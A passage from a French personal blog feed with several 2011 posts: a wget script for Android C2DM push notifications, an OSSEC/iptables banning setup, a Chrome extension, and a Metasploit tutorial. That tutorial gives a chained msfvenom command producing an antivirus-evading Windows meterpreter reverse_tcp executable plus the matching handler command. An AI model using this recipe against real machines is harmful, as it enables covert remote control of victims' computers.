<p>Mais au final le système répond plutôt rapidement, cela dit, en suivant de nombreux tuto sur le developement d&#8217;application utilisant C2DM (ici un premier <a href="http://www.vogella.de/articles/AndroidCloudToDeviceMessaging/article.html">tuto complet</a> et ici un second tuto <a href="http://blog.octo.com/notifications-push-android-c2dm/">assez complet et intéressant</a>).</p>
<p>Le problème c&#8217;est que pour tester le C2DM, la méthode nécessitant une authentification, et l&#8217;utilisation d&#8217;un header spé, pour tester l&#8217;envoi de notifications, certains recommendent de créer une seconde appli android pour envoyer les push, ou bien encore d&#8217;utiliser curl pour les requêtes, un outil qui n&#8217;est jamais installé de base sur une machine (la plupart des sytèmes unix intégrant wget, pourquoi utiliser curl?).</p>
<p>Donc pour le fun, voici ma version wgeté (j&#8217;ai découvert l&#8217;usage des headers sur wget) :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="co0">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re4">$#</span> <span class="sy0">!</span>= <span class="nu0">3</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Usage : $0 &#39;mail&#39; &#39;reg_id&#39; &#39;message&#39;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">email=</span><span class="st0">&quot;$1&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">registration_id=</span><span class="st0">&quot;$2&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">message=</span><span class="st0">&quot;$3&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">post_data=</span><span class="st0">&quot;registration_id=$registration_id&amp;data.message=$message&amp;collapse_key=0&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#91;</span> <span class="sy0">!</span> -f <span class="sy0">/</span>tmp<span class="sy0">/</span>ClientLogin <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">read</span> -p <span class="st0">&quot;Password : &quot;</span> -e password</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">wget</span> <span class="st0">&quot;https://www.google.com/accounts/ClientLogin&quot;</span> &#8211;post-<span class="re2">data=</span><span class="st0">&quot;Email=$email&amp;Passwd=$password&amp;accountType=GOOGLE&amp;service=ac2dm&quot;</span> -qO- <span class="sy0">&gt;</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>ClientLogin</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">auth=</span>`<span class="kw2">cat</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>ClientLogin<span class="sy0">|</span>grep <span class="st0">&quot;Auth&quot;</span><span class="sy0">|</span>awk <span class="st0">&#39;{split($0,array,&quot;Auth=&quot;); print array[2]}&#39;</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">wget</span> <span class="st0">&quot;https://android.apis.google.com/c2dm/send&quot;</span> &#8211;<span class="re2">header=</span><span class="st0">&quot;Authorization: GoogleLogin auth=$auth&quot;</span> &#8211;post-<span class="re2">data=</span><span class="st0">&quot;$post_data&quot;</span> &#8211;no-check-certificate -qO-</div>
</li>
</ol>
</div>
<p>Si le script ne renvoit rien, c&#8217;est bon, si il répond par un Error=UnMessageDerreur, c&#8217;est pas bon, bon dev <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1116">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/" rel="bookmark" title="Permanent Link: [Android] application de contrôle à distance/backup/info">[Android] application de contrôle à distance/backup/info</a></li><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/" rel="bookmark" title="Permanent Link: Application android pour le téléchargement des versions de Cyanogen">Application android pour le téléchargement des versions de Cyanogen</a></li><li><a href="http://blog.gaetan-grigis.eu/android/compiler-cyanogen-android-froyo-sur-ubuntu/" rel="bookmark" title="Permanent Link: Compiler Cyanogen (android froyo) sur Ubuntu">Compiler Cyanogen (android froyo) sur Ubuntu</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/gresillement-du-driver-em28xx-et-kernel-2-6-28-sur-ubuntu-9-04/" rel="bookmark" title="Permanent Link: Grésillement du driver em28xx et kernel 2.6.28 sur ubuntu 9.04">Grésillement du driver em28xx et kernel 2.6.28 sur ubuntu 9.04</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ossec et Iptables : ban à durée variable</title>
		<link>http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/</link>
		<comments>http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/#comments</comments>
		<pubDate>Fri, 22 Jul 2011 10:15:46 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[ban]]></category>
		<category><![CDATA[drop]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[recent]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1111</guid>
		<description><![CDATA[Plop à tous &#8230; Encore de l&#8217;ossec et de l&#8217;iptables au menu, ici le but est de faire face aux crackers et autres kiddies sans se faire spammer de mails toutes les 6 minutes parce qu&#8217;un mec s&#8217;est planté 3 fois de suite de mot de passe sur SSH (un mec a tenté pendant deux [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;<br />
Encore de l&#8217;ossec et de l&#8217;iptables au menu, ici le but est de faire face aux crackers et autres kiddies sans se faire spammer de mails toutes les 6 minutes parce qu&#8217;un mec s&#8217;est planté 3 fois de suite de mot de passe sur SSH (un mec a tenté pendant deux jours de cracker mon ssh, résultat : une bonne centaines de mails d&#8217;alertes inutiles (le temps que je lui mettent un ban définitif)).<br />
<span id="more-1111"></span><br />
L&#8217;idée est simple, on crée une règle iptables qui drop les paquets reçu avec un timer, et à chaque nouveau paquet, on reset le timer. Ensuite toute les alertes d&#8217;ossec sont envoyées sur cette règle et l&#8217;ont est plus spammé!!</p>
<p>La règle iptables :</p>
<div class="geshi no iptables">
<ol>
<li class="li1">
<div class="de1">##Kiddies
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -N KIDDIES
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A KIDDIES -m recent &#8211;set &#8211;name kiddies
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A INPUT -m recent &#8211;name kiddies &#8211;update &#8211;seconds 360 -j DROP</div>
</li>
</ol>
</div>
<p>Puis on modifie le fichier d&#8217;active-response/bin/firewall-drop.sh d&#8217;ossec en remplaçant les DROP par des KIDDIES (de la ligne 55 à la 61 pour la dernière version).</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">55</span> &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;x${ACTION}&quot;</span> = <span class="st0">&quot;xadd&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">56</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG1=</span><span class="st0">&quot;-I INPUT -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">57</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG2=</span><span class="st0">&quot;-I FORWARD -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">58</span> &nbsp; &nbsp;<span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">59</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG1=</span><span class="st0">&quot;-D INPUT -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">60</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG2=</span><span class="st0">&quot;-D FORWARD -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">61</span> &nbsp; &nbsp;<span class="kw1">fi</span></div>
</li>
</ol>
</div>
<p>Ainsi, par défaut (dans ossec/etc/ossec.conf), la durée de ban de base est de 6 minutes et pour chaque paquet reçu, on drop encore les paquets pour 5 minutes (ce qui peut aller bien loin si le mec laisse tourner son script).</p>
<p>Par contre, avec un </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -L -v -n</div>
</li>
</ol>
</div>
<p>on ne saura pas si une ip est encore droppée après les 6 minutes de ban Ossec (puisque la règle est supprimée au bout des 6 minutes) car même si la règle n&#8217;existe plus, si l&#8217;ip possède encore le tag kiddies avec un timer les paquets continueront d&#8217;être drop, il faut alors lister les ip avec la commande suivante :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">cat</span> <span class="sy0">/</span>proc<span class="sy0">/</span>net<span class="sy0">/</span>xt_recent<span class="sy0">/</span>kiddies <span class="sy0">|</span>awk <span class="st0">&#39;{ print $1&quot; &quot;$4&quot; &quot;$5&quot; &quot;$6&quot; &quot;$7 }&#39;</span></div>
</li>
</ol>
</div>
<p>Par contre, je ne sais pas si l&#8217;on peut supprimer le timer à la main &#8230;</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1111">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/" rel="bookmark" title="Permanent Link: Protection DDos et ban de masse">Protection DDos et ban de masse</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/tentative-de-hack-quand-les-kikoolols-attaquent/" rel="bookmark" title="Permanent Link: Tentative de Hack &#8230; quand les kikoolols attaquent!!!">Tentative de Hack &#8230; quand les kikoolols attaquent!!!</a></li><li><a href="http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/" rel="bookmark" title="Permanent Link: Alerte d&#8217;ossec en notification sur le bureau">Alerte d&#8217;ossec en notification sur le bureau</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/securiser-un-blog-wordpress-par-un-ips-avec-wpsyslog2-et-ossec/" rel="bookmark" title="Permanent Link: Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec">Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/contourner-les-restrictions-de-connexions-sur-un-serveur-ovh/" rel="bookmark" title="Permanent Link: Contourner les restrictions de connexions sur un serveur OVH">Contourner les restrictions de connexions sur un serveur OVH</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Metasploit : Utilisation de msfvenom pour encoder les payloads</title>
		<link>http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/#comments</comments>
		<pubDate>Tue, 28 Jun 2011 18:26:14 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[encodage]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[reverse]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1101</guid>
		<description><![CDATA[Plop à tous &#8230; Dans la suite de mon article sur &#171;&#160;le hacking facile&#160;&#187; avec metasploit et meterpreter, voici venu celui avec l&#8217;encodage de payloads dont je parlais rapidement à la fin du précédent article, et que j&#8217;ai supprimé suite à de nombreuses critiques sur des forums de hack (selon eux, le fait de piper [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
<p>Dans la suite de mon article sur &laquo;&nbsp;le hacking facile&nbsp;&raquo; avec <a href="http://blog.gaetan-grigis.eu/systeme/metasploit-et-meterpreter-pour-du-piratage-facile/">metasploit et meterpreter</a>, voici venu celui avec l&#8217;encodage de payloads dont je parlais rapidement à la fin du précédent article, et que j&#8217;ai supprimé suite à de nombreuses critiques sur des forums de hack (selon eux, le fait de piper des msfencode en format raw bousillait la payload, mes tests étaient pourtant concluant lors de l&#8217;écriture de l&#8217;article (j&#8217;ai peut-être du me gourrer de payloads mais &#8230; simple question de logique : à quoi d&#8217;autre pouvait donc servir le format raw ?).</p>
<p>Une autre méthode (officielle et plus propre que celle-ci est dispo en anglais : http://www.room362.com/blog/2011/7/17/metasploit-payloads-explained-part-1b.html)<br />
<span id="more-1101"></span><br />
Depuis la dernière version de metasploit un nouvel outil pour encoder est apparu : <a href="https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom">msfvenom</a> (une fusion de msfpayload et msfencode), et j&#8217;ai donc voulu tester si ce nouvel outil était lui aussi capable de piper les encodages &#8230; et la réponse est Oui ^^.</p>
<p>Alors à quoi ça sert de piper les encodages ? De nombreux antivirus détecte généralement le premier encodage des payloads metasploit, mais si l&#8217;on en met plusieurs à la suite, certain antivirus deviennent inefficace (comme l&#8217;antivirus Comodo à mon grand regret :s).</p>
<p>De base, msfvenom s&#8217;utilise ainsi : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -p <span class="sy0">&lt;</span>PAYLOAD<span class="sy0">&gt;</span> -e <span class="sy0">&lt;</span>ENCODER<span class="sy0">&gt;</span> -f <span class="sy0">&lt;</span>FORMAT DE SORTIE<span class="sy0">&gt;</span> <span class="sy0">&gt;</span> nomdefichier</div>
</li>
</ol>
</div>
<p>Pour lister les encodages, les nops et les payloads, vous pouvez faire un : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -l</div>
</li>
</ol>
</div>
<p>Et y&#8217;a de tout : du linux, du windows, du mac, du php, &#8230;</p>
<p>On peut aussi utiliser les options -x et -k pour <a href="http://pauldotcom.com/2010/02/bypassing-av-with-msfencode--x.html">utiliser des templates</a> et contourner certain antivirus en utilisant des executables windows de confiances.</p>
<p>Et pour piper les encodage ?</p>
<p>Pour le premier msfvenom on spécifie la payload, ici un reverse_tcp pour meterpreter, au format raw, l&#8217;encodage (et son itération si l&#8217;envie vous en prend <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), et pour le second on fournit la platforme et l&#8217;architecture, ainsi que notre encodage et le format (du moment que l&#8217;on reste en raw on devrait pouvoir les piper).</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -p windows<span class="sy0">/</span>meterpreter<span class="sy0">/</span>reverse_tcp -f raw -e x86<span class="sy0">/</span>jmp_call_additive <span class="re2">LHOST=</span><span class="sy0">&lt;</span>NOTRE IP<span class="sy0">&gt;</span> <span class="sy0">|</span> msfvenom -e x86<span class="sy0">/</span>shikata_ga_nai -a x86 &#8211;platform windows -f exe <span class="sy0">&gt;</span> meter.exe</div>
</li>
</ol>
</div>
<p>Et un executable devrait ressortir, ici meter.exe (si cet executable est lancé sur le PC d&#8217;une victime (volontaire <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), son pc devrait essayer de se connecter sur 192.168.1.12 et sur le port 4444 pour lancer une session meterpreter).</p>
<p>La récupération de la session se fait en utilisant le multi/handler<br />
soit en passant par msfconsole :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/06/msf-multi-handler.png" alt="" title="msf-multi-handler" width="596" height="597" class="aligncenter size-full wp-image-1102" /></p>
<p>soit plus rapidement en passant par msfcli (beaucoup plus rapide) : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfcli multi<span class="sy0">/</span>handler <span class="re2">payload=</span>windows<span class="sy0">/</span>meterpreter<span class="sy0">/</span>reverse_tcp <span class="re2">lhost=</span><span class="nu0">192.168</span><span class="nu0">.1</span><span class="nu0">.12</span> E</div>
</li>
</ol>
</div>
<p>Donc voilà, j&#8217;ai peut être pu me tromper dans mon précédent article, mais maintenant, c&#8217;est officiel, on peut piper du venom ^^.</p>
<p>Bon amusement <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Petite note sur les anti-virus suite à ce test :<br />
Avant ce test, je comptais utiliser Comodo, l&#8217;antivirus/firewall (avec HIPS et sandboxing) qui semblait pas mal efficace, pour remplacer avast qui me semblait pas au top, après le test des encodages de payloads je pense que je vais rester sur avast : il détecte direct la payloads, alors que comodo ne dit rien du tout :s &#8230; (et comodo est plutôt lourd et à tendance à tout sandboxer).</p>
<p>A noter que la dernière version d&#8217;<a href="http://support.avast.com/index.php?_m=knowledgebase&#038;_a=viewarticle&#038;kbarticleid=455#idt_09">Avast comporte un système de sandboxing</a>, reste à voir si il est performant &#8230; celui de Comodo est lourd à souhait :s.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1101">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/sortie-de-metasploit-32/" rel="bookmark" title="Permanent Link: Sortie de Metasploit 3.2">Sortie de Metasploit 3.2</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/metasploit-et-meterpreter-pour-du-piratage-facile/" rel="bookmark" title="Permanent Link: Metasploit et Meterpreter pour du piratage facile ?">Metasploit et Meterpreter pour du piratage facile ?</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/un-projet-de-scanneur-de-vulnerabilite-web-open-source/" rel="bookmark" title="Permanent Link: Un projet de scanneur de vulnérabilités web open source">Un projet de scanneur de vulnérabilités web open source</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/pourrir-des-votes-avec-bash-et-wget/" rel="bookmark" title="Permanent Link: Pourrir des votes avec bash et wget">Pourrir des votes avec bash et wget</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Extension chrome : Prévisualisation des vidéos sur Itunes</title>
		<link>http://blog.gaetan-grigis.eu/programmation/extension-chrome-previsualisation-des-videos-sur-itunes/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/extension-chrome-previsualisation-des-videos-sur-itunes/#comments</comments>
		<pubDate>Sun, 26 Jun 2011 19:04:27 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[itunes]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[podcast]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1095</guid>
		<description><![CDATA[Plop à tous &#8230; Aujourd&#8217;hui, pour le lol, la création d&#8217;une extension pour ne pas à avoir à installer itunes pour mater les vidéos des podcasts (j&#8217;ai pas trop cherché, mais sur linux, y&#8217;a rien apparemment qui permettrait de mater les vidéos :s &#8230; j&#8217;ai du mal chercher en fait). Mais heureusement, Apple fait bien [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
<p>Aujourd&#8217;hui, pour le lol, la création d&#8217;une extension pour ne pas à avoir à installer itunes pour mater les vidéos des podcasts (j&#8217;ai pas trop cherché, mais sur linux, y&#8217;a rien apparemment qui permettrait de mater les vidéos :s &#8230; j&#8217;ai du mal chercher en fait).<br />
<span id="more-1095"></span><br />
Mais heureusement, Apple fait bien les choses et fournit l&#8217;url des vidéos directement dans sa page web :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/06/Itunes-pett.png" alt="" title="Itunes-pett" width="711" height="72" class="aligncenter size-full wp-image-1096" /></p>
<p>Il suffit d’exécuter ce script dans la page pour rajouter un évènement au Click de l&#8217;image montrant la vidéo pour ouvrir une nouvelle fenêtre directement sur la vidéo en question : </p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1">$<span class="br0">&#40;</span><span class="st0">&#39;table[class*=&quot;tracklist-table&quot;] &gt; tbody &gt; tr&#39;</span><span class="br0">&#41;</span>.<span class="me1">each</span><span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span>index<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">var</span> url = $<span class="br0">&#40;</span><span class="kw1">this</span><span class="br0">&#41;</span>.<span class="me1">attr</span><span class="br0">&#40;</span><span class="st0">&quot;video-preview-url&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; $<span class="br0">&#40;</span><span class="kw1">this</span><span class="br0">&#41;</span>.<span class="me1">find</span><span class="br0">&#40;</span><span class="st0">&#39;span[class*=&quot;video&quot;]&#39;</span><span class="br0">&#41;</span>.<span class="me1">click</span><span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; window.<span class="kw3">open</span><span class="br0">&#40;</span>url,<span class="st0">&#39;Your video&#39;</span>,<span class="st0">&#39;&#39;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Maintenant, il faut juste créer une extension JS pour l’exécuter directement.<br />
Il faut tout d&#8217;abord, un fichier json nommé manifest.json, qui indiquera les droits du script et ses dépendances (ici jquery (une lib) et cleaner (mon script)) :</p>
<div class="geshi no json">
<ol>
<li class="li1">
<div class="de1">{
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &quot;name&quot;: &quot;ItunesHTML5&quot;,
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &quot;description&quot;:&quot;Extension permettant d&#39;avoir un aperçu d&#39;un podcast vidéo directement sur la page web de itunes&quot;,
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &quot;version&quot;:&quot;0.0.1&quot;,
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &quot;content_scripts&quot;: [
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &quot;matches&quot;: [&quot;http://itunes.apple.com/*&quot;],
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &quot;js&quot;: [&quot;jquery.js&quot;, &quot;cleaner.js&quot;]
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; }
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; ]
</div>
</li>
<li class="li1">
<div class="de1">}</div>
</li>
</ol>
</div>
<p>On télécharge ensuite <a href="http://jquery.com/">jquery.js</a> que l&#8217;on met dans le même dossier que le manifest, ainsi que le bout de code javascript à mettre dans le fichier cleaner.js (à mettre aussi dans le même dossier que le manifest)).</p>
<p>On accès ensuite à la page des <a href="chrome://extensions/">extensions de chrome</a> et l&#8217;on click sur &laquo;&nbsp;Charger l&#8217;extension non empaquetée&nbsp;&raquo;, on indique le dossier contenant l&#8217;extension et voilà &#8230; on accède à un podcast itunes et on clique sur l&#8217;icône de l&#8217;écran pour visualiser la vidéo :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/06/itunesclick.png" alt="" title="itunesclick" width="652" height="274" class="aligncenter size-full wp-image-1097" /></p>
<p>Donc voilà, rien de complexe, l&#8217;extension reste pour le lol, je ne sais pas si elle sera très utile, mais je l&#8217;ai quand même proposé au <a href="https://chrome.google.com/webstore/detail/glfpeccpghhhkljknhkpgallkelibelj?hl=fr">google webstore</a> pour permettre un téléchargement direct de l&#8217;extension. (Pour le moment, l&#8217;extension n&#8217;a pas l&#8217;air accessible :s).</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1095">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/non-classe/lire-des-videos-en-webm-sur-youtube/" rel="bookmark" title="Permanent Link: Lire des vidéos en webm sur youtube">Lire des vidéos en webm sur youtube</a></li><li><a href="http://blog.gaetan-grigis.eu/ubuntu/gnome-desactiver-la-previsualisation-de-medias/" rel="bookmark" title="Permanent Link: Gnome : Désactiver la prévisualisation de medias">Gnome : Désactiver la prévisualisation de medias</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/la-rc-de-firefox-bientot-dans-les-depot-dhardy/" rel="bookmark" title="Permanent Link: La RC de Firefox bientot dans les depots d&#8217;hardy">La RC de Firefox bientot dans les depots d&#8217;hardy</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/les-liens-du-we/" rel="bookmark" title="Permanent Link: Les liens du WE">Les liens du WE</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/systeme-dalerte-via-sms-sur-vos-serveurs-grace-a-google-calendar/" rel="bookmark" title="Permanent Link: Système d&#8217;alerte via SMS sur vos serveurs grace à google calendar.">Système d&#8217;alerte via SMS sur vos serveurs grace à google calendar.</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/extension-chrome-previsualisation-des-videos-sur-itunes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Application android pour le téléchargement des versions de Cyanogen</title>
		<link>http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/</link>
		<comments>http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/#comments</comments>
		<pubDate>Sat, 28 May 2011 16:42:30 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[android]]></category>
		<category><![CDATA[cyanogen]]></category>
		<category><![CDATA[downloader]]></category>
		<category><![CDATA[nightly]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1084</guid>
		<description><![CDATA[Plop à tous &#8230; Suite au passage de mon Galaxy S sur Cyanogen, j&#8217;ai remarqué qu&#8217;il fallait avoir une licence premium sur le Rom manager pour choper les nightly automatiquement &#8230; radin comme je suis, je ne pouvais pas payer juste pour une fonctionnalité aisément programmable par mes soins ^^ Gripsou Powaaa!! Histoire d&#8217;en apprendre [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
